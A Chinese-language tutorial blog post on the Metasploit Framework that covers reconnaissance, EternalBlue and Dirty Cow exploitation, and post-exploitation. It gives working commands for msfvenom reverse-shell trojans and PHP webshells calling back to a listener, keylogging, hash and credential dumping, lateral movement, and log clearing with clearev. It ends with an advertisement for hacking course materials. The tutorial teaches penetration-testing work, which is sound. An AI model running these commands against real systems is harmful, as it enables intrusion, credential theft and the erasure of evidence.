从零到精通!Metasploit Framework(MSF)渗透测试实战全流程与案例精讲


​​​​​​​


1. MSF简介

Metasploit Framework(MSF)是一个开源的渗透测试框架,集成了漏洞利用代码(Exploit)、载荷(Payload)、辅助工具(Auxiliary)和后渗透模块(Post),被广泛应用于安全研究和渗透测试。MSF通过模块化设计,简化了漏洞利用和后渗透操作,帮助测试人员快速验证系统安全性。它是渗透测试领域的核心工具之一,理解其模块和使用流程是学习的关键。


2. MSF模块详解

MSF的强大功能源于其模块化设计,主要模块包括:

  • Exploit(漏洞利用模块) 针对特定漏洞的攻击代码,例如ms17_010_eternalblue,用于触发目标系统的漏洞。

  • Payload(载荷模块) 漏洞利用成功后执行的代码,例如反弹Shell(reverse_tcp),用于建立与攻击者的连接。

  • Auxiliary(辅助模块) 用于信息收集或辅助任务,例如端口扫描(portscan/tcp)、弱口令测试(ssh_login)。

  • Post(后渗透模块) 在获得目标访问权限后的操作,例如权限提升(getsystem)、数据收集(hashdump)。

  • Encoder(编码器) 对Payload进行编码以绕过杀毒软件检测,例如shikata_ga_nai

  • NOP(空指令) 填充Payload以确保执行稳定性,通常用于缓冲区溢出攻击。

核心要点:Exploit、Payload、Auxiliary和Post是MSF的基础模块,理解其功能和应用场景至关重要。


3. MSF安装与更新方式
  • 安装(以Kali Linux为例)

    apt update && apt install metasploit-framework
    
  • 更新

    apt update && apt upgrade metasploit-framework
    

    或使用旧命令(视版本而定):msfupdate

核心要点:保持MSF最新版本可以获取最新的漏洞利用代码和功能修复。


4. 渗透测试攻击步骤

渗透测试是一个系统化的流程,通常包括以下步骤:

  1. 信息收集 扫描目标的端口、服务版本,识别潜在漏洞。

  2. 漏洞发现 通过公开漏洞数据库(如Exploit-DB)查找目标系统的已知漏洞。

  3. 漏洞利用 选择合适的Exploit模块,配置Payload,执行攻击。

  4. 后渗透 进行权限提升、数据收集和持久化控制。

  5. 清理痕迹 删除日志和文件,避免被检测。

案例

  • 目标:Windows Server,开放445端口。

  • 步骤

    1. 使用auxiliary/scanner/smb/smb_version扫描SMB版本。

    2. 在Exploit-DB中搜索MS17-010漏洞。

    3. 使用exploit/windows/smb/ms17_010_eternalblue执行攻击。

    4. 提权并抓取密码哈希。

    5. 使用clearev清除日志。

核心要点:每个步骤依赖前一步的结果,需按顺序执行。


5. 基本命令使用

熟练掌握MSF的基本命令是操作的基础,以下是常用命令:

  • msfconsole:启动MSF控制台。

  • search <keyword>:搜索模块,例如search ms17-010

  • use <module>:选择模块,例如use exploit/windows/smb/ms17_010_eternalblue

  • show options:查看模块配置项。

  • set <option> <value>:设置参数,例如set RHOST 192.168.1.100

  • exploitrun:执行模块。

  • sessions:查看和管理会话。

案例

  • 攻击MS17-010

    use exploit/windows/smb/ms17\_010\_eternalblue
    set RHOST 192.168.1.100
    set PAYLOAD windows/x64/meterpreter/reverse\_tcp
    set LHOST 192.168.1.7
    exploit
    

核心要点:基本命令是MSF操作的基石,需通过实践熟练掌握。


6. MSF生成木马命令

MSF的msfvenom工具用于生成各种Payload,例如木马程序。

  • 生成Windows木马

    msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe
    
  • 监听反弹Shell

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse\_tcp
    set LHOST 192.168.1.7
    set LPORT 4444
    exploit
    

核心要点:木马生成与监听需配合使用,确保LHOST和LPORT参数一致。


7. 公开漏洞利用查找方式

渗透测试人员常使用以下资源查找公开漏洞:

  • Exploit-DB 通过searchsploit命令搜索漏洞利用代码,例如:searchsploit exchange windows remote

  • 其他资源 CVE数据库、GitHub、漏洞公告(如NVD)。

案例

  • 查找MS17-010searchsploit ms17-010

核心要点:公开漏洞是渗透测试的重要依据,需结合多种资源验证。


8. Windows漏洞利用案例

漏洞:MS17-010(EternalBlue),影响Windows SMBv1,可实现远程代码执行。

  • 利用步骤

    1. use exploit/windows/smb/ms17_010_eternalblue

    2. set RHOST 192.168.1.100

    3. set PAYLOAD windows/x64/meterpreter/reverse_tcp

    4. set LHOST 192.168.1.7

    5. exploit

  • 案例

    • 场景:目标为Windows 7,445端口开放。

    • 结果:成功获取Meterpreter会话,可执行后渗透操作。

核心要点:Payload需匹配目标系统架构(如x64)。


9. Linux漏洞利用案例

漏洞:Dirty Cow(CVE-2016-5195),Linux内核提权漏洞。

  • 利用步骤

    1. 已有低权限会话(SESSION 1)。

    2. use exploit/linux/local/dirtycow

    3. set SESSION 1

    4. exploit

  • 案例

    • 场景:目标为Ubuntu 16.04,已通过SSH弱口令获得Shell。

    • 结果:成功提权至root。

核心要点:Linux漏洞多用于提权,需先获得初始访问权限。


10. Auxiliaries(辅助模块)

辅助模块用于信息收集和辅助任务,常用模块包括:

  • 端口扫描auxiliary/scanner/portscan/tcp

    • 示例:set RHOSTS 192.168.1.0/24 && run
  • SMB版本扫描auxiliary/scanner/smb/smb_version

    • 示例:set RHOSTS 192.168.1.100 && run
  • SSH弱口令测试auxiliary/scanner/ssh/ssh_login

    • 示例:set USERNAME root && set PASSWORD toor && run

案例

  • 扫描SMB版本

    use auxiliary/scanner/smb/smb\_version
    set RHOSTS 192.168.1.0/24
    run
    

核心要点:辅助模块是信息收集的关键工具。


我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

11. Post(后渗透攻击)

后渗透模块用于在获得访问权限后执行进一步操作,常用命令包括:

  • 进程迁移run post/windows/manage/migrate

  • 权限提升getsystem

  • 键盘记录keyscan_startkeyscan_dump

  • 屏幕截图screengrab

  • 抓取密码哈希run post/windows/gather/hashdump

案例

  • 场景:已获得Windows低权限会话。

  • 步骤

    1. run post/windows/manage/migrate(绑定到svchost.exe)。

    2. getsystem(提权)。

    3. run post/windows/gather/hashdump(抓取哈希)。

核心要点:后渗透模块用于巩固控制权和收集敏感信息。


12. 进程迁移

渗透进入的Shell通常不稳定,易被用户关闭,因此需要迁移到稳定进程。

  • 命令run post/windows/manage/migrate

  • 目的:绑定到如explorer.exesvchost.exe等系统进程。

案例

  • 场景:Meterpreter会话绑定在Web服务器进程上,易被重启。

  • 步骤run post/windows/manage/migrate PID=1234(PID为稳定进程ID)。

核心要点:进程迁移提高Shell的持久性和隐蔽性。


13. 权限提升

在获得低权限访问后,需提升至管理员或SYSTEM权限。

  • 命令getsystem

  • 其他方式:利用本地提权漏洞,如exploit/windows/local/bypassuac

案例

  • 场景:已获得普通用户Shell。

  • 步骤getsystem 或使用提权模块。

核心要点:权限提升是后渗透的关键步骤。


14. 键盘记录与屏幕截图
  • 键盘记录keyscan_start(开始记录)、keyscan_dump(查看记录)。

  • 屏幕截图screengrab

案例

  • 场景:监控目标用户操作。

  • 步骤keyscan_start 后等待一段时间,keyscan_dump 查看按键记录。

核心要点:用于收集敏感信息,如密码。


15. 抓取密码哈希
  • 命令run post/windows/gather/hashdump

  • 工具:Mimikatz(需加载kiwi模块)。

案例

  • 场景:已提权至SYSTEM。

  • 步骤load kiwicreds_all(列举凭据)。

核心要点:哈希可用于进一步攻击,如传递哈希(Pass-the-Hash)。


16. 文件系统操作
  • 命令

    • pwd:当前目录。

    • getwd:本地工作目录。

    • search -f *.txt -d c:\:搜索文件。

    • upload / download:上传/下载文件。

案例

  • 场景:查找并下载敏感文件。

  • 步骤search -f *password*.txt -d c:\users

核心要点:文件操作是后渗透中收集数据的重要手段。


17. 移植漏洞利用代码模块

MSF支持用户移植外部漏洞利用代码。

  • 步骤

    1. 查找Exploit-DB中的POC。

    2. 转换为MSF模块格式。

    3. 加载并使用。

案例

  • 场景:移植自定义漏洞利用代码。

  • 步骤:参考MSF官方文档编写模块。

核心要点:自定义模块扩展MSF功能,适应更多场景。


18. Web后门

Web后门(如Webshell)是常见的持久化控制手段。

  • 生成Webshell

    msfvenom -p php/meterpreter/reverse\_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.php
    
  • 监听:与木马监听相同。

案例

  • 场景:上传Webshell到Web服务器。

  • 步骤:上传shell.php,访问触发,MSF接收会话。

核心要点:Webshell提供对Web服务器的持久访问。


19. 内网攻击与渗透测试过程

内网渗透通常涉及横向移动和域渗透。

  • 命令

    • run post/windows/gather/enum_logged_on_users:枚举登录用户。

    • run autoroute:设置路由。

    • use exploit/windows/smb/psexec:横向移动。

案例

  • 场景:已控制边界服务器,需攻击内网其他主机。

  • 步骤:使用autoroute设置路由,psexec攻击其他主机。

核心要点:内网渗透需利用已控制主机作为跳板。


20. 后渗透操作命令集合
  • 上传文件upload /path/to/file

  • 下载文件download /path/to/file

  • 执行命令execute -f cmd.exe

  • 查看系统信息sysinfo

  • 清除日志clearev

核心要点:后渗透命令用于维护访问和收集信息。


21. 清理痕迹
  • 命令clearev(清除Windows事件日志)

  • 其他操作:删除上传的文件、关闭开启的服务等。

案例

  • 场景:完成渗透测试后清理。

  • 步骤clearevrm /path/to/file

核心要点:清理痕迹避免被检测,保持隐蔽性。


知识点流程总结
  1. 准备阶段 安装并更新MSF,启动msfconsole

  2. 信息收集 使用Auxiliary模块扫描目标。

  3. 漏洞利用 选择Exploit模块,配置Payload,执行攻击。

  4. 后渗透 提权、数据收集、持久化。

  5. 清理 清除痕迹,避免暴露。

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
在这里插入图片描述

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值